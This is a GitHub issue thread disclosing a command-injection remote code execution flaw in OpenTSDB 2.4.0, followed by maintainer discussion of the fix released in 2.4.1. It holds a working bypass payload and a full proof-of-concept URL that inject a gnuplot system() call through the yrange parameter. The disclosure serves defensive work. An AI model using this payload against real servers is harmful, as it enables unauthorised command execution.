Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OpenTSDB 2.4.0 Remote Code Execution #2051

Closed
NightRang3r opened this issue Nov 18, 2020 · 13 comments
Closed

OpenTSDB 2.4.0 Remote Code Execution #2051

NightRang3r opened this issue Nov 18, 2020 · 13 comments
Labels
bug security Security related fix or enhancement

Comments

@NightRang3r
Copy link

NightRang3r commented Nov 18, 2020

During a Pentest we found a remote code execution vulnerability in OpenTSDB 2.4.0 and below using command injection in the yrange parameter (other parameters might be vulnerable as well)

When passing the payload via one of the parameters it is written to a gnuplot file in the /tmp directory and the gnuplot file is executed by OpenTSDB via the /src/mygnuplot.sh shell script.

There was an attempt to block command injections by blocking back-ticks but we were able to bypass it:

/src/tsd/GraphHandler.java:

private static String popParam(final Map<String, List<String>> querystring,
                                         final String param) {
        final List<String> params = querystring.remove(param);
        if (params == null) {
          return null;
        }
        final String given = params.get(params.size() - 1);
        // TODO - far from perfect, should help a little.
        if *(given.contains("`") || given.contains("%60") || 
            given.contains("&#96;")) *{
          throw new BadRequestException("Parameter " + param + " contained a "
              + "back-tick. That's a no-no.");
        }
        return given;
      }

Bypass Payload:

[33:system('touch/tmp/poc.txt')]

PoC:

http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

The gnuplot file created in the temp directory by OpenTSDB would look something like this:

set term png small size 1516,644
set xdata time
set timefmt "%s"
if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right
set output "/tmp/d705ba5b.png"
set xrange ["972086400":"1603641404"]
set format x "%Y/%m/%d"
set grid
set style data linespoint
set key right box
set ylabel ""
*set yrange [33:system('touch /tmp/poc.txt')]*
plot "/tmp/d705ba5b_0.dat" using 1:2 title "sys.cpu.nice{host=web01, dc=lga}"

When executed by OpenTSDB mygnuplot.sh the poc.txt file will be written to the temp directory.

This vulnerability has been discovered by Aviad Golan and Shai rod

@mynameiswillporter
Copy link

I have confirmed this as well.

@mynameiswillporter
Copy link

@NightRang3r have you filed a CVE for this?

@NightRang3r
Copy link
Author

@mynameiswillporter Yes

@NightRang3r
Copy link
Author

dotlambda added a commit to dotlambda/nixpkgs that referenced this issue Jan 25, 2021
dotlambda added a commit to dotlambda/nixpkgs that referenced this issue Jan 25, 2021
OpenTSDB/opentsdb#2051 has not been addressed yet
(cherry picked from commit 570daf8)
@kofhearts
Copy link

How do you verify for proof of concept that that payload worked? As the poc.txt is downloaded on the server side isn't it?

@OS-WS
Copy link

OS-WS commented Apr 26, 2021

Hi, was this issue fixed?

@johann8384 johann8384 added bug security Security related fix or enhancement labels Apr 28, 2021
@johann8384
Copy link
Member

@NightRang3r @aviadgolan Nice find, I didn't see this issue when it was opened. @OS-WS No, I don't think it has been fixed yet.

@aviadgolan
Copy link

aviadgolan commented Apr 28, 2021 via email

@manolama
Copy link
Member

manolama commented May 8, 2021

Thanks for the find folks, I knew that little patch wouldn't work for everything. 3.0 doesn't have gnuplot so that's good. Let me see how I can fix this one up for 2.x.

PLEASE NOTE: This vulnerability would affect all versions of TSDB prior to a 2.4.1 release.

manolama added a commit to manolama/opentsdb that referenced this issue May 8, 2021
…r the

Gnuplot params and introducting the tsd.gnuplot.options.allowlist
setting that is a strict matching allow list of o= values from the
query string that will be allowed through. By default tihs is empty
so if folks are using this query param, they'll different graphs
until they add the options they need.
manolama added a commit to manolama/opentsdb that referenced this issue May 8, 2021
…r the

Gnuplot params and introducting the tsd.gnuplot.options.allowlist
setting that is a strict matching allow list of o= values from the
query string that will be allowed through. By default tihs is empty
so if folks are using this query param, they'll different graphs
until they add the options they need.
@manolama
Copy link
Member

manolama commented May 8, 2021

@NightRang3r @aviadgolan mind taking a look at #2127 let me know if it's ok please? Thanks.

anonthing pushed a commit that referenced this issue May 8, 2021
Gnuplot params and introducting the tsd.gnuplot.options.allowlist
setting that is a strict matching allow list of o= values from the
query string that will be allowed through. By default tihs is empty
so if folks are using this query param, they'll different graphs
until they add the options they need.
manolama added a commit that referenced this issue May 10, 2021
Gnuplot params and introducting the tsd.gnuplot.options.allowlist
setting that is a strict matching allow list of o= values from the
query string that will be allowed through. By default tihs is empty
so if folks are using this query param, they'll different graphs
until they add the options they need.
@mcauto
Copy link

mcauto commented Jul 12, 2021

Is it completed?

@manolama
Copy link
Member

@mcauto It's in the main branch, yes. No release yet though.

@manolama
Copy link
Member

manolama commented Sep 2, 2021

Released in 2.4.1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug security Security related fix or enhancement
Projects
None yet
Development

No branches or pull requests

8 participants